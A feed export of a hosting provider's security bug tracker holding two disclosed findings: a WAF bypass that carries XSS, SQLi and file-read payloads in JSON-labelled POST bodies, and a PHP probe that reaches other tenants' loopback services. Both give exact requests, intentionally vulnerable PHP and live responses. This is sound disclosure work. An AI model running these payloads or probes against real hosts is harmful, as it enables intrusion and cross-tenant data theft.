		 `text/xml`  200 pass  —  —  Partial 
	
	
		 `application/graphql`  403  —  —  Blocked (relabel to json = bypass) 
	
	
		 All other CTs tested  403  403  403  Blocked 
	



 —



## Recommendations:



- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.- Treat `application/json` and XML variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both HTTP versions.



—



## Evidence Files: 


	
		 File  Contents 
	
	
		——
	
	
		 `verify_f1_f2.py`  Re-verification script; live output shown in PoC blocks above 
	
	
		 `rce_src_dump.txt`  LFI source disclosure of all webroot files (chains with this finding) 
	
	
		 `blind_sqli_extract.py`  Automation-scale blind SQLi extractor 
	
	
		 `waf_protocol_sweep.py`  HTTP/2 + GraphQL + smuggling protocol matrix 
	
	
		 `waf_http2_smuggle.py`  HTTP/2 smuggling tests 
	
	
		 `waf_h2json_gql.py`  GraphQL relabeling tests 
	



 —



## Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified): The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.



Backend listener mapped via LFI (`/home/&amp;lt;acct&amp;gt;/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:&amp;lt;addr&amp;gt;]:8080` with the site vhost (`DocumentRoot /home/&amp;lt;acct&amp;gt;/www/`, FcgidWrapper PHP). Neither config file contains any mod_security or WAF directive.



### A/B Proof (WAF=full active, same requests, identical payloads): 


	
		 Request  Backend via ULA `fd00::7:&amp;lt;addr&amp;gt;:8080`  Public front (WAF=full) 
	
	
		———
	
	
		 `GET /index.html?q=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;`  200 OK (2419 B)  403 Forbidden 
	
	
		 `GET /index.html?q=x&amp;#039; OR 1=1–`  200 OK (2419 B)  403 Forbidden 
	
	
		 `GET /.git/config`  404 Not Found (normal handling)  403 Forbidden 
	



 ### Impact Escalation:



FINDING-1&amp;#039;s JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant&amp;#039;s ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.



Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant PHP. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.



The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file PHP PoC, vendor detection checklist, bundled evidence in `evidence/`).

</description>
    <content:encoded><![CDATA[
<p>
 <strong>Target:</strong> <em class="u"><strong>alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)</strong></em>
</p>

<p>
<strong>Severity:</strong> <em class="u"><strong>High</strong></em>
</p>

<p>
<strong>Class:</strong> <strong><em class="u">CWE-693 Protection Mechanism Failure / CWE-1069 Empty Exception / incomplete WAF coverage</em></strong>
</p>

<p>
<strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
—
</p>

<p>
## <em class="u">Summary:</em>
</p>

<p>
The alwaysdata per-site WAF decides whether to inspect an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request body based solely on the `Content-Type` header. Any POST body sent with `Content-Type: application/json` (case-insensitive; `;charset=` suffix tolerated) is never inspected. Attack payloads — reflected/stored XSS, <acronym title="Structured Query Language">SQL</acronym> injection, path traversal, and command injection — carried in a JSON POST body pass through to the application untouched, while the identical payload in `application/x-www-form-urlencoded` or any other content type is blocked with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403.
</p>

<p>
This gives the WAF false assurance: any customer site that relies on it and parses JSON POST bodies (most modern frameworks and APIs) is completely unprotected for JSON-bodied attacks.
</p>

<p>
—
</p>

<p>
## <em class="u">Affected Surface:</em>
</p>

<p>
- The per-site WAF feature (`waf_profile` in the site object, values `basic` / `full` / `null`).<br />- Tested at `waf_profile = full` (strictest level) — bypass holds there.<br />- Confirmed at both <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 and <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2.<br />- Attack classes confirmed to pass as JSON: XSS, SQLi (including literal + UNION), path traversal / arbitrary file read (LFI), <acronym title="Operating System">OS</acronym> command injection.<br />- Only the exact `application/json` string is skipped (case-insensitive, `;charset=` ok). All other content types are inspected and blocked: `urlencoded`, `multipart`, `text/plain`, `text/xml`, `application/xml`, `application/graphql`, `application/vnd.api+json`, `application/octet-stream`, `application/json-patch+json`, `application/merge-patch+json`, `application/x-yaml`, `application/x-protobuf`, `application/grpc`, `application/grpc-web`, `application/javascript`, `application/xhtml+xml`, `application/csp-report`, `application/activity+json`, `application/ld+json`, `application/hal+json`, `application/manifest+json`, `application/geo+json` → all 403.
</p>

<p>
—
</p>

<p>
 ## <em class="u">Reproduction Steps:</em>
</p>

<p>
1. Create any alwaysdata hosting account with a <acronym title="Hypertext Preprocessor">PHP</acronym> site.<br />2. Enable the WAF: `PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>&lt;id&gt;/` with body `{&quot;waf_profile&quot;: &quot;full&quot;}` (Basic auth with account <acronym title="Application Programming Interface">API</acronym> token).<br />3. Upload `vuln.php` and `read.php` (below) to the site webroot via WebDAV.<br />4. Send the requests shown in the PoC section.
</p>

<p>
 ### <em class="u">Victim App — `vuln.php` (reflects parameter into <acronym title="HyperText Markup Language">HTML</acronym>):<br /></em> ```php<br />&lt;?php<br />$q = $_REQUEST[&#039;q&#039;];<br />header(&quot;Content-Type: text/html&quot;);<br />echo &quot;
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: $q&lt;/h1&gt;&lt;/body&gt;</pre>

<p>
&quot;;<br />?&gt;<br />```
</p>

<p>
 ### <em class="u">Victim App — `read.php` (reads arbitrary file):</em>
</p>

<p>
```php<br />&lt;?php<br />$f = $_REQUEST[&#039;file&#039;];<br />header(&quot;Content-Type: text/plain&quot;);<br />echo @file_get_contents($f);<br />?&gt;<br />```
</p>

<p>
 —
</p>

<p>
 ## <em class="u">PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):</em>
</p>

<p>
### 1) Reflected XSS — passes as `application/json` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, script reflected unencoded)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/json
</p>

<p>
{&quot;q&quot;:&quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;}<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: &lt;script&gt;alert(1)&lt;/script&gt;&lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
### 1b) Same payload — blocked as urlencoded (control, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/x-www-form-urlencoded
</p>

<p>
q=%3Cscript%3Ealert(1)%3C%2Fscript%3E<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />Request was blocked by WAF.   (Request ID: b699a16…)<br />```
</p>

<p>
### 2) <acronym title="Structured Query Language">SQL</acronym> Injection — passes as `application/json` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200)
</p>

<p>
```<br />POST /vuln.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/json
</p>

<p>
{&quot;q&quot;:&quot;x&#039; OR 1=1– -&quot;}<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />
</p>
<pre class="file">&lt;body&gt;&lt;h1&gt;Search results for: x&#039; OR 1=1-- -&lt;/h1&gt;&lt;/body&gt;</pre>

<p>
 ```
</p>

<p>
Control urlencoded: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403.
</p>

<p>
### 3) Arbitrary File Read / Path Traversal — passes as `application/json` (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, full `/etc/passwd` returned)
</p>

<p>
```<br />POST /read.php <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net<br />Content-Type: application/json
</p>

<p>
{&quot;file&quot;:&quot;/etc/passwd&quot;}<br />```<br />```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin<br />… ```
</p>

<p>
1764 bytes returned. Control urlencoded: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 403.
</p>

<p>
### 4) Mechanism Proof — decision is header-only, not body content
</p>

<p>
Same JSON body with `Content-Type: application/x-www-form-urlencoded` → 403. Same urlencoded body with `Content-Type: application/json` → 200. The bypass is purely the header value, not the actual content.
</p>

<p>
### 5) <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2
</p>

<p>
Same JSON-body requests over <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 (`httpx –http2`) → 200 app response. GET query-parameter attacks remain blocked over h2 — only the body skip exists.
</p>

<p>
### 6) Automation-Scale Proof (Blind SQLi End-to-End Through the WAF)
</p>

<p>
- Created a test MariaDB (`regtest846_wafpoc`, MariaDB 11.4.12) and DB user via the public <acronym title="Application Programming Interface">API</acronym>.<br />- `sqli.php` implements an unsafe `WHERE username=&#039;$q&#039;` blind boolean oracle.<br />- A Python binary-search extractor (~7 requests/char) recovered the seeded secret `wafpoc_secret_hash_8f3a1d9c2e7b4a60` byte-identical (~245 blind requests total), plus `VERSION()` and DB list — every request rode the `application/json` bypass.<br />- This confirms the gap is exploitable at automated scale, not just manually; the WAF is the only layer that would stop a scanner.
</p>

<p>
—
</p>

<p>
## <em class="u">Impact:</em>
</p>

<p>
Any customer site behind the per-site WAF that parses JSON POST bodies is effectively unprotected for XSS, SQLi, LFI, and command injection. The WAF provides a false sense of security and a security-control regression relative to the &quot;full&quot; protection promise. Severity is High as a platform security-control flaw; per-tenant impact depends on the target application&#039;s own defenses, but the WAF no longer adds any protection for JSON-bodied requests.
</p>

<p>
—
</p>

<p>
## <em class="u">Re-Test Matrix (Already Verified)</em> 
</p>
<table class="inline">
	<tr>
		<td> Content-Type </td><td> XSS </td><td> SQLi </td><td> LFI </td><td> Result </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `application/json` </td><td> 200 pass </td><td> 200 pass </td><td> 200 pass </td><td> <strong>BYPASS</strong> </td>
	</tr>
	<tr>
		<td> `application/x-www-form-urlencoded` </td><td> 403 </td><td> 403 </td><td> 403 </td><td> Blocked </td>
	</tr>
	<tr>
		<td> `application/xml` </td><td> 200 pass </td><td> 403 </td><td> n/a </td><td> Partial (see FINDING-2) </td>
	</tr>
	<tr>
		<td> `text/xml` </td><td> 200 pass </td><td> — </td><td> — </td><td> Partial </td>
	</tr>
	<tr>
		<td> `application/graphql` </td><td> 403 </td><td> — </td><td> — </td><td> Blocked (relabel to json = bypass) </td>
	</tr>
	<tr>
		<td> All other CTs tested </td><td> 403 </td><td> 403 </td><td> 403 </td><td> Blocked </td>
	</tr>
</table>

<p>
 —
</p>

<p>
## <em class="u">Recommendations:</em>
</p>

<p>
- Inspect POST bodies regardless of `Content-Type`, or normalize the inspection decision on actual body content rather than the header.<br />- Treat `application/json` and <acronym title="Extensible Markup Language">XML</acronym> variants (see FINDING-2) the same as any other content type — do not pass them through uninspected.<br />- If JSON must be special-cased for performance, at minimum apply the same inspection rules to decoded JSON string values recursively, and add content-sniffing so relabeled payloads cannot bypass.<br />- Apply the fix at the alproxy/nginx layer used by `waf_profile` and re-test the full matrix in this report across all content types and both <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> versions.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_f1_f2.py` </td><td> Re-verification script; live output shown in PoC blocks above </td>
	</tr>
	<tr>
		<td> `rce_src_dump.txt` </td><td> LFI source disclosure of all webroot files (chains with this finding) </td>
	</tr>
	<tr>
		<td> `blind_sqli_extract.py` </td><td> Automation-scale blind SQLi extractor </td>
	</tr>
	<tr>
		<td> `waf_protocol_sweep.py` </td><td> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 + GraphQL + smuggling protocol matrix </td>
	</tr>
	<tr>
		<td> `waf_http2_smuggle.py` </td><td> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 smuggling tests </td>
	</tr>
	<tr>
		<td> `waf_h2json_gql.py` </td><td> GraphQL relabeling tests </td>
	</tr>
</table>

<p>
 —
</p>

<p>
## <em class="u">Chain B — WAF Also Bypassable at the Network Layer by Co-Tenants (2026-08-18, Verified):<br /></em> The per-site WAF exists only at the alproxy front. The origin backend Apache has no WAF at all, and per FINDING-6, any same-node co-tenant can connect to the origin directly via its per-tenant ULA address.
</p>

<p>
Backend listener mapped via LFI (`/home/&lt;acct&gt;/admin/config/apache/{apache.conf,sites.conf}`): real backend is `[fd00::7:&lt;addr&gt;]:8080` with the site vhost (`DocumentRoot /home/&lt;acct&gt;/www/`, FcgidWrapper <acronym title="Hypertext Preprocessor">PHP</acronym>). Neither config file contains any mod_security or WAF directive.
</p>

<p>
### <em class="u">A/B Proof (WAF=full active, same requests, identical payloads):</em> 
</p>
<table class="inline">
	<tr>
		<td> Request </td><td> Backend via ULA `fd00::7:&lt;addr&gt;:8080` </td><td> Public front (WAF=full) </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `GET /index.html?q=&lt;script&gt;alert(1)&lt;/script&gt;` </td><td> 200 OK (2419 B) </td><td> 403 Forbidden </td>
	</tr>
	<tr>
		<td> `GET /index.html?q=x&#039; OR 1=1–` </td><td> 200 OK (2419 B) </td><td> 403 Forbidden </td>
	</tr>
	<tr>
		<td> `GET /.git/config` </td><td> 404 Not Found (normal handling) </td><td> 403 Forbidden </td>
	</tr>
</table>

<p>
 ### <em class="u">Impact Escalation:</em>
</p>

<p>
FINDING-1&#039;s JSON content-type trick is only one way past the WAF. Since FINDING-6 lets any tenant on the same node connect directly to any co-tenant&#039;s ULA backend, a co-tenant can send XSS/SQLi/LFI payloads straight to the origin with no WAF enforcement at all. A customer who enables the per-site WAF remains fully unprotected against same-node tenants — the WAF is a front-only filter with a completely open back door on the shared node.
</p>

<p>
Reachability is node-local: other-node ULA addresses and global-range addresses time out from tenant <acronym title="Hypertext Preprocessor">PHP</acronym>. The back door exists only for co-tenants sharing the same web node, though many tenants share each node.
</p>

<p>
The full standalone Chain B report has been submitted as a separate upload: `CHAIN-B_WAF-bypass-via-cotenant-ULA.md` (CVSS 8.1, one-file <acronym title="Hypertext Preprocessor">PHP</acronym> PoC, vendor detection checklist, bundled evidence in `evidence/`).<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/452">
    <title>FS#452: FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service Exposure on Shared Web Node</title>
    <link>https://security.alwaysdata.com/task/452</link>
    <dc:date>2026-08-19T09:55:22Z</dc:date>
    <dc:creator>Abdullah Al Midul</dc:creator>
     <description>

 Target: alwaysdata shared web node `http22` (185.31.41.42)Severity: HighClass: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives



—



## Summary:



On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant&amp;#039;s PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata&amp;#039;s own internal infrastructure. 


	
		 Port  Service  Auth  Outcome 
	
	
		————
	
	
		 7020 (bound 0.0.0.0)  Customer `fctv33` — &amp;quot;Partite ITA&amp;quot; Stremio sports addon (Node/Express)  None  Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable 
	
	
		 20717  Streamed.pk HLS resolver (another tenant&amp;#039;s app)  —  Reachable 
	
	
		 8083  alwaysdata PowerDNS API  Basic-auth (realm &amp;quot;PowerDNS&amp;quot;)  Reachable from tenant PHP 
	
	
		 8080  alwaysdata internal API (X-API-Key)  401 on POST / 404 on GET  Reachable from tenant PHP 
	
	
		 53 / 5199 / 8579 / 873 / 2049 / 22 / 111  DNS / misc alwaysdata services  —  Reachable from tenant PHP 
	



 The node&amp;#039;s public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.



—




## Reproduction Steps:



Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.



### Probe Code (PHP): ```php&amp;lt;?phpfunction b($port, $path) {

  $s = @fsockopen(&amp;quot;127.0.0.1&amp;quot;, $port, $e, $es, 3);
  if (!$s) return &amp;quot;closed&amp;quot;;
  $req = &amp;quot;GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n&amp;quot;;
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;


}echo &amp;quot;– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n&amp;quot;;echo b(7020, &amp;quot;/manifest.json&amp;quot;);echo &amp;quot;\n– 127.0.0.1:7020 /debug/live\n&amp;quot;;echo b(7020, &amp;quot;/debug/live&amp;quot;);echo &amp;quot;\n– 127.0.0.1:8083 (PowerDNS API)\n&amp;quot;;echo b(8083, &amp;quot;/api/v1/servers&amp;quot;);echo &amp;quot;\n– 127.0.0.1:8080 (internal API)\n&amp;quot;;echo b(8080, &amp;quot;/&amp;quot;);?&amp;gt;```



### Exact Output (2026-08-18, tenant PHP on http22):



```– 127.0.0.1:7020 (customer fctv33 Stremio addon)HTTP/1.1 200 OK{&amp;quot;id&amp;quot;:&amp;quot;community.fctv33.sports.test&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;0.5.8&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Partite ITA&amp;quot;,&amp;quot;description&amp;quot;:&amp;quot;Partite sportive live&amp;quot;,&amp;quot;logo&amp;quot;:&amp;quot;https://www.fctv33hd.online/favicon.ico&amp;quot;,&amp;quot;resources&amp;quot;:[&amp;quot;catalog&amp;quot;,&amp;quot;meta&amp;quot;,&amp;quot;stream&amp;quot;],&amp;quot;types&amp;quot;:[&amp;quot;tv&amp;quot;],&amp;quot;idPrefixes&amp;quot;:[&amp;quot;fctv:&amp;quot;],&amp;quot;catalogs&amp;quot;:[{&amp;quot;type&amp;quot;:&amp;quot;tv&amp;quot;,&amp;quot;id&amp;quot;:&amp;quot;partite-ita-live&amp;quot;,&amp;quot;name&amp;quot;:…



– 127.0.0.1:7020 /debug/liveHTTP/1.1 200 OK{&amp;quot;ok&amp;quot;:true,&amp;quot;apiBase&amp;quot;:&amp;quot;https://apis-data-defra10.tcdru136ovur.ru&amp;quot;,&amp;quot;matches&amp;quot;:6,&amp;quot;streamMarkers&amp;quot;:6,&amp;quot;sample&amp;quot;:[{&amp;quot;id&amp;quot;:&amp;quot;fctv:2209841:4&amp;quot;,&amp;quot;matchId&amp;quot;:&amp;quot;2209841&amp;quot;,&amp;quot;sportType&amp;quot;:&amp;quot;ST_BASEBALL&amp;quot;,&amp;quot;title&amp;quot;:&amp;quot;Western Wolf Pack vs Southern Stingers&amp;quot;,&amp;quot;league&amp;quot;:&amp;quot;AWA Wiffle&amp;quot;},…



– 127.0.0.1:8083 (PowerDNS API)HTTP/1.0 401 UnauthorizedContent-Security-Policy: default-src &amp;#039;self&amp;#039;; style-src &amp;#039;self&amp;#039; &amp;#039;unsafe-inline&amp;#039;Www-Authenticate: basic realm=&amp;quot;PowerDNS&amp;quot;&amp;lt;h1&amp;gt;Unauthorized&amp;lt;/h1&amp;gt;



– 127.0.0.1:8080 (internal API)HTTP/1.0 404 Not Found```



### Signed Token Generation (port 7020):



A `GET /stream/tv/&amp;lt;id&amp;gt;.json` request to port 7020 returns a signed HLS URL in the following form:



```https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=&amp;lt;JWT&amp;gt;&amp;amp;s=&amp;lt;sig&amp;gt;```



Any co-tenant on the node can generate valid signed stream tokens for another customer&amp;#039;s paid content service, replay those signed URLs, or consume that customer&amp;#039;s bandwidth and quota — all without any authentication whatsoever.



—



 ## Impact:



Tenant-to-tenant isolation failure. Any customer&amp;#039;s PHP running on a shared node can connect to other customers&amp;#039; loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.



alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.



The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.



—



 ## Ethical Disclosure:



I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata&amp;#039;s own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.



alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.



—



## Recommendations:



Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A&amp;#039;s context never routes to tenant B&amp;#039;s services or to alwaysdata&amp;#039;s internal services.



Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.



Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.



—



## Evidence Files: 


	
		 File  Contents 
	
	
		——
	
	
		 `verify_all_output.txt`  Live re-verification output (ports 7020, 8080, 8083) 
	
	
		 `port8080_probe.txt`  First-discovery probe output for port 8080 
	
	
		 `tenantapp_7020.txt`  Port 7020 manifest and debug-live responses 
	
	
		 `tenantapp_probe3.txt`  `/stream/tv/&amp;lt;id&amp;gt;.json` signed JWT output (token value redacted) 
	
	
		 `CHAIN.md`  Full finding chain reference 
	

</description>
    <content:encoded><![CDATA[
<p>
 <strong>Target:</strong> <strong><em class="u">alwaysdata shared web node `http22</em></strong>` (185.31.41.42)<br /><strong>Severity:</strong> High<br /><strong>Class:</strong> <em class="u"><strong>CWE-284 Improper Access Control / tenant isolation failure</strong></em> <strong>Status:</strong> Verified — re-verified live 2026-08-18, zero false positives
</p>

<p>
—
</p>

<p>
## <em class="u">Summary:</em>
</p>

<p>
On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata&#039;s own internal infrastructure. 
</p>
<table class="inline">
	<tr>
		<td> Port </td><td> Service </td><td> Auth </td><td> Outcome </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> 7020 (bound 0.0.0.0) </td><td> Customer `fctv33` — &quot;Partite ITA&quot; Stremio sports addon (Node/Express) </td><td> None </td><td> Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable </td>
	</tr>
	<tr>
		<td> 20717 </td><td> Streamed.pk HLS resolver (another tenant&#039;s app) </td><td> — </td><td> Reachable </td>
	</tr>
	<tr>
		<td> 8083 </td><td> alwaysdata PowerDNS <acronym title="Application Programming Interface">API</acronym> </td><td> Basic-auth (realm &quot;PowerDNS&quot;) </td><td> Reachable from tenant <acronym title="Hypertext Preprocessor">PHP</acronym> </td>
	</tr>
	<tr>
		<td> 8080 </td><td> alwaysdata internal <acronym title="Application Programming Interface">API</acronym> (X-<acronym title="Application Programming Interface">API</acronym>-Key) </td><td> 401 on POST / 404 on GET </td><td> Reachable from tenant <acronym title="Hypertext Preprocessor">PHP</acronym> </td>
	</tr>
	<tr>
		<td> 53 / 5199 / 8579 / 873 / 2049 / 22 / 111 </td><td> <acronym title="Domain Name Server">DNS</acronym> / misc alwaysdata services </td><td> — </td><td> Reachable from tenant <acronym title="Hypertext Preprocessor">PHP</acronym> </td>
	</tr>
</table>

<p>
 The node&#039;s public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.
</p>

<p>
—
</p>

<p>
<em class="u">
## Reproduction Steps:</em>
</p>

<p>
Upload the following self-contained <acronym title="Hypertext Preprocessor">PHP</acronym> probe to any site hosted on node `http22` and fetch it over <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>. It uses only the <acronym title="Hypertext Preprocessor">PHP</acronym> standard library — no extensions, no special configuration.
</p>

<p>
### <em class="u">Probe Code (<acronym title="Hypertext Preprocessor">PHP</acronym>):<br /></em> ```php<br />&lt;?php<br />function b($port, $path) {
</p>
<pre class="code">  $s = @fsockopen(&quot;127.0.0.1&quot;, $port, $e, $es, 3);
  if (!$s) return &quot;closed&quot;;
  $req = &quot;GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n&quot;;
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;</pre>

<p>
}<br />echo &quot;– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n&quot;;<br />echo b(7020, &quot;/manifest.json&quot;);<br />echo &quot;\n– 127.0.0.1:7020 /debug/live\n&quot;;<br />echo b(7020, &quot;/debug/live&quot;);<br />echo &quot;\n– 127.0.0.1:8083 (PowerDNS <acronym title="Application Programming Interface">API</acronym>)\n&quot;;<br />echo b(8083, &quot;/api/v1/servers&quot;);<br />echo &quot;\n– 127.0.0.1:8080 (internal <acronym title="Application Programming Interface">API</acronym>)\n&quot;;<br />echo b(8080, &quot;/&quot;);<br />?&gt;<br />```
</p>

<p>
### <em class="u">Exact Output (2026-08-18, tenant <acronym title="Hypertext Preprocessor">PHP</acronym> on http22):</em>
</p>

<p>
```<br />– 127.0.0.1:7020 (customer fctv33 Stremio addon)<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />{&quot;id&quot;:&quot;community.fctv33.sports.test&quot;,&quot;version&quot;:&quot;0.5.8&quot;,&quot;name&quot;:&quot;Partite ITA&quot;,<br />&quot;description&quot;:&quot;Partite sportive live&quot;,&quot;logo&quot;:&quot;<a href="https://www.fctv33hd.online/favicon.ico" class="urlextern" title="https://www.fctv33hd.online/favicon.ico"  rel="nofollow">https://www.fctv33hd.online/favicon.ico</a>&quot;,<br />&quot;resources&quot;:[&quot;catalog&quot;,&quot;meta&quot;,&quot;stream&quot;],&quot;types&quot;:[&quot;tv&quot;],&quot;idPrefixes&quot;:[&quot;fctv:&quot;],<br />&quot;catalogs&quot;:[{&quot;type&quot;:&quot;tv&quot;,&quot;id&quot;:&quot;partite-ita-live&quot;,&quot;name&quot;:…
</p>

<p>
– 127.0.0.1:7020 /debug/live<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />{&quot;ok&quot;:true,&quot;apiBase&quot;:&quot;<a href="https://apis-data-defra10.tcdru136ovur.ru" class="urlextern" title="https://apis-data-defra10.tcdru136ovur.ru"  rel="nofollow">https://apis-data-defra10.tcdru136ovur.ru</a>&quot;,&quot;matches&quot;:6,<br />&quot;streamMarkers&quot;:6,&quot;sample&quot;:[{&quot;id&quot;:&quot;fctv:2209841:4&quot;,&quot;matchId&quot;:&quot;2209841&quot;,<br />&quot;sportType&quot;:&quot;ST_BASEBALL&quot;,&quot;title&quot;:&quot;Western Wolf Pack vs Southern Stingers&quot;,<br />&quot;league&quot;:&quot;AWA Wiffle&quot;},…
</p>

<p>
– 127.0.0.1:8083 (PowerDNS <acronym title="Application Programming Interface">API</acronym>)<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.0 401 Unauthorized<br />Content-Security-Policy: default-src &#039;self&#039;; style-src &#039;self&#039; &#039;unsafe-inline&#039;<br />Www-Authenticate: basic realm=&quot;PowerDNS&quot;<br />&lt;h1&gt;Unauthorized&lt;/h1&gt;
</p>

<p>
